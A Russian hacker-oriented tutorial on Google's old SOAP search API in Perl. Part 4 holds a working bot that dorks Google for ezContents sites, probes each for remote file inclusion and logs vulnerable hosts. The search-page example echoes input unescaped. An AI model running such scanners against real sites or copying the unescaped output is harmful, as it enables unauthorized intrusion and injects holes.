Google API + Perl глазами хакера. (Programming Google API with Perl)

Часть 0. Введение
Итак уже появились туториалы о том как юзать инклуде-баг, как юзать ботов usun'a. Я же раскажу о том как написать этих ботов своими собственными руками. Что же такое Google API - это стандартный набор фукций, которыми пользуется сам поисковик гугла, те мы получаем уникальную
возможность использовать данные о тех миллионах страниц, которые знакомы гуглу. Что делать с этими страницами - решать вам. Я же раскажу как найти эти странцы в бескрайних просторах мировой сети. Данный туториал направленн прежде всего на людей знакомым с языком Perl, однако те кто просто хочет научится находить нужную информацию в гугле, используя при этом стандартный поиск могут заглянуть в 5 часть туториала, где будут описаны единные (для Google APIs и поисковой системы) правила составления запросов.

Нам понадобится дополнительный модуль SOAP::Lite (убедитесь что он у вас есть) версии не ниже 0.52 (более ранние работают не корректно). Данный модуль предназначен для работы по Simple Object Access Protocol (SOAP) и предоставляет "облегчённый" набор функций. Если вам интерсно узнать больше о б этом модуле - обратитесь к докуменции по Perl - здесь я не буду заострять на этом своё внимание.

Так же создать себе аккаунт на гугле. В результате этих операций вы станете счастливым обладателем ключа, который нам потребуется для работы с гуглом - с помощью этого ключа гугл накладывает на программы определнные ограничения с кторыми придётся считаться. Данные ограничения нужны чтобы вы не создали полноценную поисковую систему у себя на сервере, но впрочем они не являются большой помехой для наших целей.

Так же вам может понадобится файл, содержащий описание функций (именно может понадобится, ибо всегда можно использовать файл с сервера гугла, что я и буду делать в своих примерах). Данный файл имеет формат WSDL (Web Service Description Language) и распологается тут: http://api.google.com/GoogleSearch.wsdl
Сервис Google Web API предоставляет нам 3 функции:
  • Непосредственно поиск.
  • Получение страницы из кэша Google.
  • Проверка грамотности.
маловато будет ?? А на самом деле в самый раз - сама поисковая машина гугла ограничивается только этими 3-мя функциями...

Часть 1. Учимся говорить грамотно.
Для начала ознакомимся с самой простой и имхо безсмысленной для нас функций doSpellingSuggestion. На входе:
  • key - ваш ключ
  • phrase - фраза которую надо проверить на правильность
На выходе:
  • Правильная с точки зрения граматики фраза
Ограничения использования:
  • проверка осуществляется только на английском языке (в описании это не оговоренно, однако по результатам тестов всё происходит именно так)
Теперь пришло время наконец написать первый пример использования,что бы всё встало на свои места:


#!/usr/bin/perl -w

use SOAP::Lite;

$googleSearch = SOAP::Lite->service ('http://api.google.com/GoogleSearch.wsdl');

#здесь должен находится ВАШ ключ:
$key = '1234567890';

#фраза написанная не правильно
$phrase = 'britney speers';

#делаем запрос -получем ответ
$result = $googleSearch->doSpellingSuggestion ($key, $phrase);
    
# выводи ответ:
print "Content-type: text/html\n\n";
print "Result for $phrase = $result";

Как видите всё довольно тривиально, просто и стандартно - мы делаем запрос и получаем ответ.  

Часть 2. Вспомнить всё.
Сейчас я покажу вам как правильно работать с кэшем гугла - это святая святых, куда нас свободно пускают - гугл частенько кэширует те страницы, которые не должены там содержаться, а так же с помощью кэша возможно востановить текст недавно удалённой страницы... одно слово - маст би =)
За работу с кэшем отвечает функция doGetCachedPage На входе:
  • key - ваш ключ
  • url - адресс той страницы, которую вам надо получить
На выходе мы получаем закэшированную копию страницы (обратите внимание - кодировка base64). Тривиальный пример:


#!/usr/bin/perl -w

use SOAP::Lite;

$googleSearch = SOAP::Lite->service ('http://api.google.com/GoogleSearch.wsdl');

$key = '1234567890';

#получаем из кэша всеми любимую страницу:
$result = $googleSearch->doGetCachedPage($key, 'http://www.mazafaka.ru/');
    
#...и выводим её:
print "Content-type: text/html\n\n";
print "$result";

Ничего революционного и необычного в этом нет.

Часть 3. Сам себе гугл
Итак мы подобрались к самой интересной и наиболее важной для нас функции: doGoogleSearch. Данная функция предназначена для поиска по гуглу. Для начала рассмотрим краткое описание параметров:
  • key - всё тот же ограничительный ключ
  • q - непосредственно поисковый запрос. О том какие возмжности предоставляет гугл для поиска смотри в 5чати данного туториала.
  • start - стартовый индекс - с какой позиции нужно выводить результаты
  • maxResults - максимально число полученных результатов - не может быть больше 10.
  • filter - фильтр ограничения результатов на одном хосте. false - если вы хотите получить все результаты, true - если мы хотим ограничется одним рзультатом с хоста.
    Данный фильтр позволит съэкономить нам лишнее число запросов, однако он не всегда на 100% работает
  • restrict - гугл позволяет искать не только по всей сети, но и среди страниц с конкретным языком или посвящённым определённой теме. Однако эта фча очень глючит и ограничивает результаты, так что лучше ограничитть её применение.(Более детальное описание см ниже)
  • safeSearch - фильтр для adult сайтов
  • lr - Language Restrict - позволяет искать документы на опеределённом языке.Так же как и restrict не может широко применяться, так как не даёт гарантированных результатов поиска на определённом языке.
  • ie - Input Encoding - "входящая" кодировка запроса - должна быть UTF-8, поэтому данный параметр игнорируется гуглом и оставлен для совместимоси.
  • oe - Output Encoding - кодировка на выходе - так же всегда UTF-8, данные параметр так же игнорируется при запросе.
Передавая такое количество параметров на входе (часть из которых абсолютно безсмысленна) мы вправе ожидать хорошую порцию информации на выходе. Кстати обратите внимание, что всё теже параметры передаются из посиковой формы и самому поисковику гугла.
  • documentFiltering - данный флаг указывает на то сработал ли фильтр на adult ресурс - будет true только в том случае, если вы установили filter в true и данный ресурс действительно Adult
  • searchComments - строка, коментирующая результаты поиска. В основном - это сообщение о том, что каие то частоупотребимые слова при запросе не учитывались
  • estimatedTotalResultsCount - общее количество найденных результаов. Может быть больше или меньше чем в реальности.
  • estimateIsExact - булевская переменная, указывающая на то что estimatedTotalResultsCount находится действительно правильное значение.
  • resultElements - массив типа resultElement. Это и есть непосредственно результаты поиска:
    • summary - если найденный результат находится в ODP, то здесь находится общий заголовок категории.
      Примечание: ODP - Open Directory Project - каталог сатйов (по типу Rambler top100)
    • URL - соответвенно url найденной страницы
    • snippet - отрывок из страницы с найденным текстом. Найденные слова обычно выделяются тегом <B>
    • title - заголовок найденной страницы
    • cachedSize - размер страницы в кэше гугла + буква k - (например: 15k) - размер соответсвенно в килобайтах
    • relatedInformationPresent - булевская переменнная, показывающая, что для данной страницы поддерживается запрос related:
    • hostName - кодга происходит фильтрация результатов, максимум может возвратится 2 страницы для данного запроса. Когда это произойдёт hostName второго resultElement будет содержать имя хоста в этом параметре.
    • directoryCategory - структура, содержащая описание ODP для текущей страницы:
      • fullViewableName - заголовок раздела ODP
      • specialEncoding - кодировка раздела
    • directoryTitle - если результат найден в ODP, тогда сюда поместится заголовок.
  • searchQuery - поисковый запрос, по которому мы искали
  • startIndex - начальный номер с которого выдаются результаты
  • endIndex - конечный номер
  • searchTips - подсказа пользователю...типа возможно вы имели ввиду....
  • directoryCategories - массив Directory Category. Заполняется если в ODP есть аналог поискового запроса
  • searchTime - время поиска
Хех...теория наерное уже запарила ? ;) Самое время расмотреть пример...в качестве примера расмотрим поисковую систему аля гугл:


#!/usr/bin/perl -w

use SOAP::Lite;

#разбираем get запрос:

$buffer=$ENV{'QUERY_STRING'};
@pairs = split (/&/, $buffer);
foreach $pair (@pairs) {
 ($name, $value) = split (/=/, $pair);
 $value =~ tr/+/ /; 
 $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
 $value =~ s/<!--(.|\n)*-->//g;
 $input{$name} = $value;
}

print "Content-type: text/html\n\n";

#выводим форму для поиска:
print "<img src=logo.gif><FORM METHOD=get ACTION=google.pl>Search for: 
<INPUT TYPE=text NAME=search value=\"$input{'search'}\" size=40>
<input type=hidden name=page value=0>
<INPUT TYPE=submit value=Ok></FORM><P>";

if ($input{'search'}) {
 $googleSearch = SOAP::Lite->service ('http://api.google.com/GoogleSearch.wsdl');
 $key = '1234567890';

 if ( $input{'page'} > 0) {
   $input{'page'} --;
 }
 #ищем по гуглу:
 #мы используем самую общую фильтрацию данных - получаем все результаты с одного сайта
 #с любой страны
 #не используем adult фильтр
 #с любым языком
 $result = $googleSearch->doGoogleSearch($key, $input{'search'},
$input{'page'}*10, 10,"false", "", "false", "","UTF-8", "UTF-8");

 print "<b>$result->{'estimatedTotalResultsCount'}</b> совпадений найденно.";

 print "На странице: $result->{'startIndex'} - $result->{'endIndex'}<hr>";

 for ($i=0;$i<=$result->{'endIndex'}-$result->{'startIndex'}; $i ++) {

     #вывдим заголовок страницы и ссылку:
  print "<p><a href=$result->{'resultElements'}[$i]->{'URL'} 
target=_blank>$result->{'resultElements'}[$i]->{'title'}</a>";

  #выводим найденный текст:
  print "<blockquote>$result->{'resultElements'}[$i]->{'snippet'}</blockquote>";

  #выводим дополнительные сведения для пользователя:
  print "<small>Размер страницы: $result->{'resultElements'}[$i]->{'cachedSize'} 
 <a href=\"cache.pl?page=$result->{'resultElements'}[$i]->{'URL'}\">
Страница в кэше</a></small>";
 }

 #выводим линейку страниц:
 $kol = int ($result->{'estimatedTotalResultsCount'} / 10);

 if ($kol > 99) {
   $kol = 99;
 }
 print "<hr> Страницы: ";

 for ($i=1;$i <= $kol+1; $i++) {
     print "<a href=\"google.pl?search=$input{'search'}&page=$i\"><b>$i</b></a> | ";
 }

 print "<hr>Время поиска: $result->{'searchTime'}";
}
print "<hr><center><small>Powered by g00gle.com</small></center>";

ну что вы ещё не знаете каким образом образом написать свой яндекс ? ;) Всё это довольно тривиально и обыденно... Итак теперь у нас есть необходимые знания и навыки для написания ботов.

Часть 4. Пишем ботов.
Что ж приступим. Я не собираюсь переписывать заново ботов usun'a на другом языке. Я покажу как написать бота, который использует всего одну уязвимость с внешним инклудом.
Каков принцип работы такого бота ? Пускай у нас есть подозрительный на внешний инклуд url (например http://site.com/hackme.php) - нам нужно подъинклудить нашу страничку (я буду юзать http://ya.ru) - те мы получаем такой url: http://site.com/hackme.php?file=http%3A%2F%2Fya.ru Сделав запрос по такому url мы должны проверить наличие определённой уникальной строчки, содержащийся на http://ya.ru - если эта строчка присутвует - значит усё оки.
В качестве баги использована старая уязвимость в системе управления сайтом ezContents. Мы будем искать в гугле тривиальную строчку powered by ezContents, что бы выделить сайты под управлением этой системой. Сама уязвимость состоит в обычном php инклуде: мы будем проверять на возможность инклуда такой url: module.php?link=http%3A%2F%2Fya.ru.
Данная демка служит для запуска на любом вебсервере, поддерживающем Perl - вы вводите в адресной строке http://localhost/bot.pl?page=0 что бы пройти весь диапозон. А дальше скриптпоследовательно сам себя средиректит на http://localhost/bot.pl?page=1, http://localhost/bot.pl?page=2 и тд.... в конце поиска появится строчка Completed. Если вы не хотите проходить весь диапозон - измените значение $maxcount на нужное вам (не больше 100). Результаты работы скрипта сохранятся в файле test.txt, во время работы нельзя закрывать окно браузера.



#!/usr/bin/perl -w

use SOAP::Lite;
use Net::HTTP;

#разбираем get запрос:
$buffer=$ENV{'QUERY_STRING'};
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
 ($name, $value) = split(/=/, $pair);
 $value =~ tr/+/ /; 
 $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
 $value =~ s/<!--(.|\n)*-->//g;
 $input{$name} = $value;
}

#на входе в скрипт параметр page - с какой страницы начинать.

#открываем файл для добавления
open (FILESTD, ">>test.txt");

#подключаем сервис гугла
my $googleSearch = SOAP::Lite->service ('http://api.google.com/GoogleSearch.wsdl');
my $key = '1234567890';

#максимальное число попыток
my $maxcount = 100;

#ищем подозрительные сайты
my $result = $googleSearch->
doGoogleSearch($key, "powered+by+ezContents", 
$input{'page'}*10, 10,"true", "", "false", "","UTF-8", "UTF-8");

for ($i=0;$i<=$result->{'endIndex'}-$result->{'startIndex'}; $i ++) {
  my $cool = 0; #флаг уязвимости

  #получаем имя хоста и нужный нам для проверки url
  my @host = split (/\//,$result->{'resultElements'}[$i]->{'URL'});

  #коннектимся к серверу
   my $s = Net::HTTP->new(Host => $host[2]);

  if (!$host[3]) {
   $host[3]='bla';
  }

  my $evilurl ='http:';
  
  for ($k=1;$k<$#host ;$k++) {
    $evilurl = join ('/', $evilurl, $host[$k]);
  }

  $evilurl = join('/', $evilurl, "module.php?link=http%3A%2F%2Fya.ru");


  print FILESTD  "$evilurl";
 
     #отсылаем запрос
$s->write_request(GET => $evilurl, 'User-Agent' => "MaZaFaKa.Ru - NetworkTerroristBrowser");

  #читаем заголовки ответа
     my @r = $s->read_response_headers; 
  
  
  #в цикле по 1024 байта читаем тело ответа сервера:
  while (1) {
   my $buf;
   my $n = $s->read_entity_body($buf, 1024);
   die suxx unless defined $n;
   last unless $n;

   #если находим Яn (dex) 
   #словосочитание русской буквы Я и латинской n мало где используется
   #поэтому можно не проверять целиком на совпедаение
   if ($buf=~/Яn/) {
    print FILESTD " уязвим\n";
    $cool = 1; #it's a realy cool =)
    last; #дальше не будем читать ответ 
   }
  }

  #флажёк уязвимости не выставлен - сайт свободен
  if (!$cool) {
   print  FILESTD "а жаль ....\n";
  }
 }

close (FILESTD);

#вот мы и подошли к концу...выводим прощальную строчку
if ($input{'page'} > $maxcount) {
     print "Content-Type: text/html\n\n";
     print "Complete";
  exit;
}

#пересылаем скрипт на себя же, но с новой страницей:
$input{'page'} ++;
print "HTTP/1.0 302 Found\n";
print "Location: http://localhost/bot.pl?page=$input{'page'}\n\n";
exit;

sub suxx{
   print "suxXXX!";
   exit;
}

Надеюсь работа данного скрипта понятна.


Часть 5. Искусство поиска.
До сих пор мы не использовали на всю мощь поисковые возможности гугла. Ведь помимо простых запросов нам предоставляется широкие возможности ограничить поиск вполне определёнными критериями.О них здесь и пойдёт речь. И прежде всего мы рассмотрим возможности параметра q (поисковый запрос) из функции doGoogleSearch. Эта таблица может быть так же интересна и тем, кто не намерен заниматься программированием, но хочет узнать больше возможностях гугла:
Название
Пример
Описание
Include Query Term Star Wars Episode +I Если слово является необходимым для получения результатов его можено включить посредством +
Исключающий запрос (Exclude Query Term) bass -music Исключает из результатов страницы, на которых присутвет слово, идущее после "-"
Поиск фразы(Phrase Search) "yellow pages"
Ищет только странички содержащие фразу целиком
Boolean OR Search vacation london OR paris В результат попадут страничкми содержащие либо london либо paris
поиск по сайту(Site Restricted Search) admission site:www.stanford.edu Ведёт поиск только поопределённому сайту. Можно исключить сайты из поска, добавив -site:. За один запрс можно искать только по одному сайту.
Поиск по дате(Date Restricted Search) Star Wars daterange:2452122-2452234 Возвращает документы за указанную дату. Дата должна быть в следующем формате: daterange:<start_date>-<end date>
где
<start_date>, <end_date> число дней с 1 января 4713 до нашей эры.
Например для 1 августа 2001 это будет 2452122.
Поиск слова в заголовках(Title Search (term)) intitle:Google search Ищет странички в которых поисковый запрос (первое слово) содержится в заголовке. Примечание - между intitle: и словом не должно быть пробелов
Поиск заголовка(Title Search (all)) allintitle: Google search В результат попадут странички, где в заголовке присутсвуют все слова, указанные в запросе
Поиск слова в URL (URL Search (term)) inurl:Google search Ищет ключевое слово в url. Между inulr: и ключевым словом не должно быть пробелом
Поиск в URL (URL Search (all)) allinurl: Google search Ищет всю фразу в url
Текстовый поиск (Text Only Search (all)) allintext: Google search Поиск ведётся только в тексте, игнорируя ссылки и заголовок страницы
Поиск ссылок (Links Only Search (all)) allinlinks: Google search Ищет совпадения только в ссылках на странице
Поиск по типу файла(File Type Filtering) Google filetype:doc OR filetype:pdf В результат попадут только файлы с заданным расширением. Между filetype: и типом файла не может быть пробела.
Исключение типа файла (File Type Exclusion) Google -filetype:doc -filetype:pdf Удаляет файлы с заданным расширением из результатов поиска. Между -filetype: и расширением не может быть пробелов.
Web Document Info info:www.google.com  Возвращает единственный результат для заданного url. Не может спользоваться в паре с другими запросами.
Back Links link:www.google.com  Возвращает список страниц, на которых есть ссылки на запрашиваемую.Между link: и запросом не может быть пробела. Не может спользоваться в паре с другими запросами.
Related Links related:www.google.com  Возвратит список страниц по содежанию схожих с заданной. Между related: и запросом не может быть пробела. Не может спользоваться в паре с другими запросами.
Cached Results Page cache:www.google.com web Возвращает закэшированную страницу. Если использовать в паре с другим запросом - тогда внутри закэшировананного документа эти слова выделятся

Возможные значения параметра <lr> - language restrict из функции doGoogleSearch представленны в следующей таблице:
Language
<lr> value
Language
<lr> value
Arabic lang_ar Icelandic lang_is
Chinese (S) lang_zh-CN Italian lang_it
Chinese (T) lang_zh-TW Japanese lang_ja
Czech lang_cs Korean lang_ko
Danish lang_da Latvian lang_lv
Dutch lang_nl Lithuanian lang_lt
English lang_en Norwegian lang_no
Estonian lang_et Portuguese lang_pt
Finnish lang_fi Polish lang_pl
French lang_fr Romanian lang_ro
German lang_de Russian lang_ru
Greek lang_el Spanish lang_es
Hebrew lang_iw Swedish lang_sv
Hungarian lang_hu Turkish lang_tr
Параметр <restrict>- Country and Topic Restricts - всё той же функции можт принимать значения:
Country
<restrict> value AD-EC
Country
<restrict> value EE-KY
Country
<restrict> value KZ-PY
Country
<restrict> value QA-ZR
Andorra countryAD Estonia countryEE Kazakhstan countryKZ Qatar countryQA
United Arab Emirates countryAE Egypt countryEG Lao People's Democratic Republic countryLA Reunion countryRE
Afghanistan countryAF Western Sahara countryEH Lebanon countryLB Romania countryRO
Antigua and Barbuda countryAG Eritrea countryER Saint Lucia countryLC Russian Federation countryRU
Anguilla countryAI Spain countryES Liechtenstein countryLI Rwanda countryRW
Albania countryAL Ethiopia countryET Sri Lanka countryLK Saudi Arabia countrySA
Armenia countryAM European Union countryEU Liberia countryLR Solomon Islands countrySB
Netherlands Antilles countryAN Finland countryFI Lesotho countryLS Seychelles countrySC
Angola countryAO Fiji countryFJ Lithuania countryLT Sudan countrySD
Antarctica countryAQ Falkland Islands (Malvinas) countryFK Luxembourg countryLU Sweden countrySE
Argentina countryAR Micronesia, Federated States of countryFM Latvia countryLV Singapore countrySG
American Samoa countryAS Faroe Islands countryFO Libyan Arab Jamahiriya countryLY St. Helena countrySH
Austria countryAT France countryFR Morocco countryMA Slovenia countrySI
Australia countryAU France, Metropolitan countryFX Monaco countryMC Svalbard and Jan Mayen Islands countrySJ
Aruba countryAW Gabon countryGA Moldova countryMD Slovakia (Slovak Republic) countrySK
Azerbaijan countryAZ United Kingdom countryUK Madagascar countryMG Sierra Leone countrySL
Bosnia and Herzegowina countryBA Grenada countryGD Marshall Islands countryMH San Marino countrySM
Barbados countryBB Georgia countryGE Macedonia, The Former Yugoslav Republic of countryMK Senegal countrySN
Bangladesh countryBD French Quiana countryGF Mali countryML Somalia countrySO
Belgium countryBE Ghana countryGH Myanmar countryMM Suriname countrySR
Burkina Faso countryBF Gibraltar countryGI Mongolia countryMN Sao Tome and Principe countryST
Bulgaria countryBG Greenland countryGL Macau countryMO El Salvador countrySV
Bahrain countryBH Gambia countryGM Northern Mariana Islands countryMP Syria countrySY
Burundi countryBI Guinea countryGN Martinique countryMQ Swaziland countrySZ
Benin countryBJ Guadeloupe countryGP Mauritania countryMR Turks and Caicos Islands countryTC
Bermuda countryBM Equatorial Guinea countryGQ Montserrat countryMS Chad countryTD
Brunei Darussalam countryBN Greece countryGR Malta countryMT French Southern Territories countryTF
Bolivia countryBO South Georgia and the South Sandwich Islands countryGS Mauritius countryMU Togo countryTG
Brazil countryBR Guatemala countryGT Maldives countryMV Thailand countryTH
Bahamas countryBS Guam countryGU Malawi countryMW Tajikistan countryTJ
Bhutan countryBT Guinea-Bissau countryGW Mexico countryMX Tokelau countryTK
Bouvet Island countryBV Guyana countryGY Malaysia countryMY Turkmenistan countryTM
Botswana countryBW Hong Kong countryHK Mozambique countryMZ Tunisia countryTN
Belarus countryBY Heard and Mc Donald Islands countryHM Namibia countryNA Tonga countryTO
Belize countryBZ Honduras countryHN New Caledonia countryNC East Timor countryTP
Canada countryCA Croatia (local name: Hrvatska) countryHR Niger countryNE Turkey countryTR
Cocos (Keeling) Islands countryCC Haiti countryHT Norfolk Island countryNF Trinidad and Tobago countryTT
Congo, The Democratic Republic of the countryCD Hungary countryHU Nigeria countryNG Tuvalu countryTV
Central African Republic countryCF Indonesia countryID Nicaragua countryNI Taiwan countryTW
Congo countryCG Ireland countryIE Netherlands countryNL Tanzania countryTZ
Switzerland countryCH Israel countryIL Norway countryNO Ukraine countryUA
Cote D'ivoire countryCI India countryIN Nepal countryNP Uganda countryUG
Cook Islands countryCK British Indian Ocean Territory countryIO Nauru countryNR United States Minor Outlying Islands countryUM
Chile countryCL Iraq countryIQ Niue countryNU United States countryUS
Cameroon countryCM Iran (Islamic Republic of) countryIR New Zealand countryNZ Uruguay countryUY
China countryCN Iceland countryIS Oman countryOM Uzbekistan countryUZ
Colombia countryCO Italy countryIT Panama countryPA Holy See (Vatican City State) countryVA
Costa Rica countryCR Jamaica countryJM Peru countryPE Saint Vincent and the Grenadines countryVC
Cuba countryCU Jordan countryJO French Polynesia countryPF Venezuela countryVE
Cape Verde countryCV Japan countryJP Papua New Guinea countryPG Virgin Islands (British) countryVG
Christmas Island countryCX Kenya countryKE Philippines countryPH Virgin Islands (U.S.) countryVI
Cyprus countryCY Kyrgyzstan countryKG Pakistan countryPK Vietnam countryVN
Czech Republic countryCZ Cambodia countryKH Poland countryPL Vanuatu countryVU
Germany countryDE Kiribati countryKI St. Pierre and Miquelon countryPM Wallis and Futuna Islands countryWF
Djibouti countryDJ Comoros countryKM Pitcairn countryPN Samoa countryWS
Denmark countryDK Saint Kitts and Nevis countryKN Puerto Rico countryPR Yemen countryYE
Dominica countryDM Korea, Democratic People's Republic of countryKP Palestine countryPS Mayotte countryYT
Dominican Republic countryDO Korea, Republic of countryKR Portugal countryPT Yugoslavia countryYU
Algeria countryDZ Kuwait countryKW Palau countryPW South Africa countryZA
Ecuador countryEC Cayman Islands countryKY Paraguay countryPY Zambia countryZM
Zaire countryZR
Так же кроме названий стран этот параметр может принимать одно из следующих тематических значений:
Topic
<restrict> value
US. Government unclesam
Linux linux
Macintosh mac
FreeBSD bsd
Кроме того существуют возможность комбинации этих параметров:
Оператор
Пример
Описание
NOT [ - ]
-lang_fr
Удаление результатов из запроса. В этом примере: Возвратятся все страницы, кроме написанных по французки
AND [ . ]
linux.countryFR
Объединение результатов запроса В этом примере: На запрос вернутся страницы из раздела о линуксе, которые расположены во франции
OR [ | ]
lang_en|lang_fr
Возвратит резульатат в котором встречается либо первое, либо второе. В этом примере:Возвратит все страницы, которые либо на английском, либо на французском
Скобки ( )
(linux).(-(conutryUK|countryUS))
Используются для растановки порядка включений/исключений из запроса.
В этом примере: Возвратятся страницки про линукс, не расположенные в англии и сша



Часть 6. Ограничения
Эх если бы всё было так легко, тогда бы в инете давным-давно бы появились двойники системы-гугла... что б они и не появились хитрые мозге на гугле придумали следующие ограничения:
  • во-первых конечно же это ограниенный срок действия ключ - с помощью одного ключа вы сможете делать только 1000 запросов в день.
  • во-вторых это ограниченность результатов - мы не сможем получить больше чем 1000 страниц содного запроса(хотя сам гугл говорит нам что их там гораздо больше, однако доступна только первая 1000)
  • кроме того мы не можем за один запрос получить больше чем 10 результатов
  • Ключевое слово site: разрешено использовать только по одному на каждый запрос
  • Максимальная длинна строки запроса 2048 байт
Обратите внимание, что эти ограничения распроранены на все 3 функции Google WEB API. Так же стоит помнить о том что этот сервис предоставляется с приставкой beta - так что возможны кое-какие Undocumented глюки.

Часть 7. Заключение
Ну вот теперь вы знаете о Google web API всё (ну или почти всё)... В завершение хочу сказать, что освоив использование гугла и применив егов своих программах вы получаете мощное оружие, которое пригодится в любой ситуации.

    Кое какие полезные ссылки по теме (на английском): 
     http://www.google.com/apis/  
    http://www.google.com/apis/download.html    
    http://www.soaprpc.com/faqs/SoapFAQ.html     
    http://www.w3.org/TR/SOAP/     
    http://www.w3.org/TR/wsdl




HotLog

Comments :

0 коммент. to “Google API + Perl глазами хакера. (Programming Google API with Perl)”

Отправить комментарий